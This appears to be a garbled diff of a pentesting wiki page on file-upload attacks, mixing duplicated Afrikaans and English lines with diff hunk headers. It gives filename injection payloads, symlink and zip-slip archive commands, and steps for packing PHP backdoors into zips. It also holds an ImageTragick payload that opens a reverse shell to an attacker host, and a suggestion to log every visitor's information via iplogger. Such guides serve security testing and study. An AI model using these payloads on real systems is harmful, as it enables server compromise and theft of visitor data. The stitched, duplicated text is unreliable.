Let daarop dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil is om die **HTTP server te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil maar dan sal wget die herlei lêer met die nuwe naam aflaai. Dit **gaan nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy sal aflaai met die naam van die lêer aangedui in die oorspronklike URL**.
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
## Gereedskap
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload mechanisms. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en uitbuiting van vulnerabilities te vereenvoudig en sorg vir deeglike assesserings van web applications.
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige tool ontwerp om Pentesters en Bug Hunters te help met die toetsing van file upload mechanisms. Dit maak gebruik van verskeie bug bounty techniques om die proses om vulnerabilities te identifiseer en te exploit te vereenvoudig, wat deeglike assessments van web applications verseker.
### Corrupting upload indices with snprintf quirks (historical)
### Korrompering van upload-indekse met snprintf quirks (historiese)
Sommige legacy upload handlers wat snprintf() of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die _FILES struktuur te vervals. As gevolg van inkonsekwenthede en afkap in snprintf() gedrag, kan 'n sorgvuldig saamgestelde enkele upload op die bediener-kant as verskeie geïndekseerde lêers voorkom, wat logika verwar wat 'n streng struktuur aanvaar (bv. dit as 'n multi-file upload behandel en onveilige takke neem). Al is dit vandag nissies, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer codebases.
Sommige legacy upload handlers wat `snprintf()` of iets soortgelyks gebruik om multi-file arrays van 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkapping in die gedrag van `snprintf()`, kan 'n sorgvuldig saamgestelde enkel-upload voorkom as verskeie geïndekseerde lêers aan die serverkant, wat logika verwar wat 'n streng vorm aanvaar (bv. dit as 'n multi-file upload beskou en onveilige takke neem). Alhoewel dit vandag nikaal is, kom hierdie “index corruption” patroon af en toe weer voor in CTFs en ouer codebases.
## From File upload to other vulnerabilities
## Van File upload na ander vulnerabilities
- Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bereik
- Stel **filename** op `sleep(10)-- -.jpg` en jy kan moontlik 'n **SQL injection** bereik
- Stel **filename** op `<svg onload=alert(document.domain)>` om 'n **XSS** te bewerkstellig
- Stel **filename** op `; sleep 10;` om sekere **command injection** te toets (meer [command injections tricks here](../command-injection.md))
- Stel **filename** op `sleep(10)-- -.jpg` en jy mag 'n **SQL injection** kan bereik
- Stel **filename** op `<svg onload=alert(document.domain)>` om 'n **XSS** te bereik
- Stel **filename** op `; sleep 10;` om command injection te toets (meer [command injections tricks here](../command-injection.md))
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- Probeer **verskeie svg payloads** vanaf [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- As jy die **web server kan aanwys om 'n image vanaf 'n URL te haal** kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** in 'n **public** site **gesave** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en die **inligting van elke besoeker steel**.
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
- Spesiaal saamgestelde PDFs vir XSS: Die volgende bladsy verduidelik hoe om **PDF data te injecteer om JS uitvoering te bekom** (../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy 'n PDF voorberei wat arbitêre JS sal uitvoer volgens die gegewe aanwijgings.
- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kontroleer of die bediener enige **antivirus** het
- Kontroleer of daar enige **grootte beperking** is wanneer jy files upload
- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy verduidelik hoe om **PDF data te inject om JS uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy 'n PDF voorberei wat arbitraire JS sal uitvoer volgens die gegewe instruksies.
- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kyk of die server enige **antivirus** het
- Kyk of daar enige **size limit** is wanneer jy files upload
Hier is 'n top 10 lys van dinge wat jy deur opgelaai te word kan bereik (van [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Heres a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
@ -234,44 +275,45 @@ Hier is 'n top 10 lys van dinge wat jy deur opgelaai te word kan bereik (van [he
https://github.com/portswigger/upload-scanner
{{#endref}}
## Magiese Header Bytes
## Magic Header Bytes
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
- **JPG**: `"\xff\xd8\xff"`
Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander filetypes.
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
## Zip/Tar File Automatically decompressed Upload
## Zip/Tar Lêer Outomaties gedekomprimeer by Upload
As jy 'n ZIP kan upload wat binne die bediener gedecomprimeer gaan word, kan jy twee dinge doen:
As jy 'n ZIP kan upload wat binne die server gedekomprimeer gaan word, kan jy twee dinge doen:
### Symlink
Upload 'n arkief wat soft links na ander files bevat, dan, deur toegang te kry tot die gedecomprimeerde files, sal jy toegang kry tot die gelinkte files:
Upload 'n link wat soft links na ander files bevat, dan, deur toegang tot die gedekomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Dekomprimeer in verskillende vouers
### Ontpak in verskillende gidse
Die onvoorsiene skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike veronderstellings dat hierdie opstelling teen OS-level command execution deur kwaadwillige lêer-oplaaie sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en uit veilige oplaai-gidse te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.
Die onverwagte skepping van lêers in gidse tydens ontpak is 'n ernstige probleem. Ten spyte van aanvanklike veronderstellings dat hierdie opstelling dalk teen OS-level command execution deur malicious file uploads sal beskerm, kan die hiërargiese kompressieondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit laat aanvallers toe om beperkings te omseil en uit veilige upload directories te ontsnap deur die ontpakkingsfunksionaliteit van die geteikende toepassing te manipuleer.
'n Outomatiese exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die nutsprogram kan soos volg gebruik word:
'n Outomatiese exploit om sulke lêers te vervaardig is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Verder is die **symlink trick with evilarc** n opsie. As die doelwit is om n lêer soos `/flag.txt` te mik, moet n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc tydens sy werking nie foutmeldings ervaar nie.
Verder is die **symlink trick with evilarc** ook 'n opsie. As die doel is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute ervaar tydens sy werking nie.
Hieronder is n voorbeeld van Python-kode wat gebruik word om n kwaadwillige zip-lêer te skep:
Below is an example of Python code used to create a malicious zip file:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
@ -286,9 +328,9 @@ create_zip()
```
**Misbruik van kompressie vir file spraying**
Vir meer besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Vir meer besonderhede **kyk na die oorspronklike pos op**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike oorgedra word.
1. **Creating a PHP Shell**: PHP-code word geskryf om opdragte uit te voer wat deur die `$_REQUEST`-veranderlike deurgegee word.
```php
<?php
@ -305,50 +347,50 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex editor verander, deur "xxA" na "../" te verander om deur gidse te navigeer.
3. **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex-editor aangepas, deur "xxA" na "../" te verander om deur gidse te navigeer.
```bash
:set modifiable
:%s/xxA/..\//g
:%s/xxA/../g
:x!
```
## ImageTragic
Laai hierdie inhoud op met 'n beeldlêer-uitbreiding om die kwesbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (sien die [exploit](https://www.exploit-db.com/exploits/39767))
Laai hierdie inhoud op met 'n beeld-lêeruitbreiding om die kwetsbaarheid te misbruik **(ImageMagick , 7.0.1-1)** (van die [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Embedding PHP Shell on PNG
## Insluiting van PHP Shell in PNG
Die insluiting van 'n PHP shell in die IDAT chunk van 'n PNG-lêer kan sekere image processing-operasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is in hierdie verband besonder relevant, aangesien hulle algemeen gebruik word vir die resizing en resampling van beelde, onderskeidelik. Die vermoë van die ingeslote PHP shell om onaangetas te bly deur hierdie operasies is 'n betekenisvolle voordeel vir sekere gebruiksgevalle.
Om 'n PHP shell in die IDAT chunk van 'n PNG-lêer in te sluit kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die resizing en resampling van beelde, onderskeidelik. Die vermoë van die ingeslote PHP shell om onaangeraak te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
'n Gedetaileerde ondersoek van hierdie tegniek, insluitend metodologie en potensiële toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en die implikasies daarvan.
'N Gedetailleerde ondersoek van hierdie tegniek, insluitende die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en sy implikasies.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot-lêers
## Polyglot Files
Polyglot-lêers funksioneer as kameleonne in cybersecurity, en kan geldig in meervoudige lêerformate gelyktydig bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot daardie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
Polyglot files dien as 'n unieke hulpmiddel in kuberveiligheid, optreeend as kameleons wat geldig in meerdere lêerformate terselfdertyd kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar.
Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe sifts. Algemene praktyk in verskeie toepassings behels slegs sekere lêertipes toe te laat vir upload—soos JPEG, GIF of DOC—om die risiko van potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) te verminder. 'n Polyglot kan egter deur die strukturele kriteria van veelvuldige lêertipes te voldoen, stilweg hierdie beperkings omseil.
Die kernnut van polyglot files lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe ondersoek. Algemene praktyk in verskeie toepassings behels dat slegs sekere lêertipes vir upload toegelaat word—soos JPEG, GIF of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP of Phar-lêers) geskep word, te verminder. 'n Polyglot, deur aan die strukturele vereistes van meerdere lêertipes te voldoen, kan egter stilweg hierdie beperkings omseil.
Ten spyte van hul aanpasbaarheid, het polyglots wel beperkings. Byvoorbeeld, al kan 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG beliggaam, mag die sukses van sy upload afhanklik wees van die platform se file extension-beleid. As die stelsel streng is oor toegelate extensies, mag die strukturele dualiteit van 'n polyglot nie voldoende wees om sy upload te waarborg nie.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdetyd 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die bloot strukturele dualiteit van 'n polyglot nie voldoende wees om 'n upload te waarborg nie.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload valid JSONs like if it was PDF
### Laai geldige JSONs op asof dit 'n PDF was
Hoe om file type-deteksering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n vals PDF-lêer na te boots (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai al word dit nie toegelaat nie deur 'n vals PDF-lêer voor te gee (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld in die post)
- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n pdf (kry voorbeeld in die post)
- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep eenvoudig 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie, en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (sien voorbeeld in die pos)
- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die library dink dit is 'n PDF (sien voorbeeld in die pos)
- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n json kan parse nie, en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
## References
## Verwysings
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -357,6 +399,9 @@ Hoe om file type-deteksering te vermy deur 'n geldige JSON-lêer op te laai self
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [usd HeroLab Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
- [NVD CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
- [CVE-2024-21546 NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)